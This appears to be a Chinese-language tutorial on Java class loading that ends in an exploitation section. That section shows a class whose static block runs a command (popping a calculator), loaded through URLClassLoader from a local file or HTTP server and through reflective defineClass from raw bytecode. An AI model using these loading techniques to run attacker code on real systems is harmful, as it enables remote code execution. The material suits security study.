Java类加载
首先看一下在类初始化的时候会调用哪些代码 Person.java
package com.LoaderTest;
public class Person {
public String name;
public int age;
public static int id;
static {
System.out.println("静态代码块");
}
public static void staticAction(){
System.out.println("静态方法");
}
{
System.out.println("构造代码块");
}
public Person(){
System.out.println("无参Person");
}
public Person(String name,int age){
System.out.println("有参Person");
this.name = name;
this.age = age;
}
public String toString(){
return "Person{"+
"name='" + name +"'" +
"age='" + age +"'" +"}";
}
}
LoaderClassTest.java
package com.LoaderTest;
public class LoaderClassTest {
public static void main(String[] args)throws Exception{
// new Person("a",22);
Person.staticAction();
}
}
当new一个无参构造方法时
new Person();
调用了静态代码块 构造代码块 无参方法
当new一个有参构造方法时
new Person("a",22);
同样是调用了静态代码块 构造代码块 有参方法
调用静态方法时
Person.staticAction();
调用了静态代码块 静态方法
给id赋值
Person.id=1;
调用了静态代码块
可以得出 在类进行初始化的时候会调用静态代码块 初始化:静态代码块 实例化:构造代码块,构造函数
通过class加载的时候不会初始化
Class c = Person.class;
没有调用静态代码块
通过Class.fromName(“Person”);加载 调用了静态代码块 Class.fromName是可以选择初始化或者不初始化的 ClassLoader.getSystemClassLoader()是获取当前系统的一个ClassLoader sun.misc.Launcher$AppClassLoader@18b4aac2
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class.forName("com.LoaderTest.Person",false,cl);
Java语言系统自带有三个类加载器:
- Bootstrap ClassLoader 最顶层的加载类,主要加载核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。另外需要注意的是可以通过启动jvm时指定-Xbootclasspath和路径来改变Bootstrap ClassLoader的加载目录。比如java -Xbootclasspath/a:path被指定的文件追加到默认的bootstrap路径中。我们可以打开我的电脑,在上面的目录下查看,看看这些jar包是不是存在于这个目录。
- Extention ClassLoader 扩展的类加载器,加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。还可以加载-D java.ext.dirs选项指定的目录。
- Appclass Loader也称为SystemAppClass 加载当前应用的classpath的所有类。
通过ClassLoader加载类
ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> a = cl.loadClass("com.LoaderTest.Person");
a.newInstance();
ClassLoader.loadClass是不进行初始化的 跟进loadClass查看底层原理 实现任意类的加载 调用关系 loadClass->findClass(重写的方法)->defineClass(从字节码加载类) 涉及到类的继承关系 ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader
漏洞利用 可以通过URLClassLoader加载类 创建一个test类(直接在src中创建 不要在包下边) 在静态代码块中弹出计算器
import java.io.IOException;
public class Test {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
编译之后生成的class文件 放到桌面 然后使用URLClassLoader加载这个类
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\25004\\Desktop\\test\\")});
Class<?> test = urlClassLoader.loadClass("Test");
test.newInstance();
还可以通过http来加载恶意嘞 在恶意类的文件夹中起一个http服务
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:8000/")});
Class<?> test = urlClassLoader.loadClass("Test");
test.newInstance();
同样也会执行
URLClassLoader加载任意类:file/http/jar
通过defineClass调用任意类
package com.LoaderTest;
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
public class LoaderClassTest {
public static void main(String[] args)throws Exception{
ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\25004\\Desktop\\test\\Test.class"));
Class c = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length);
c.newInstance();
}
}
code是字节码 此方法在不出网的情况下构造好字节码 可以直接调用 弹出计算器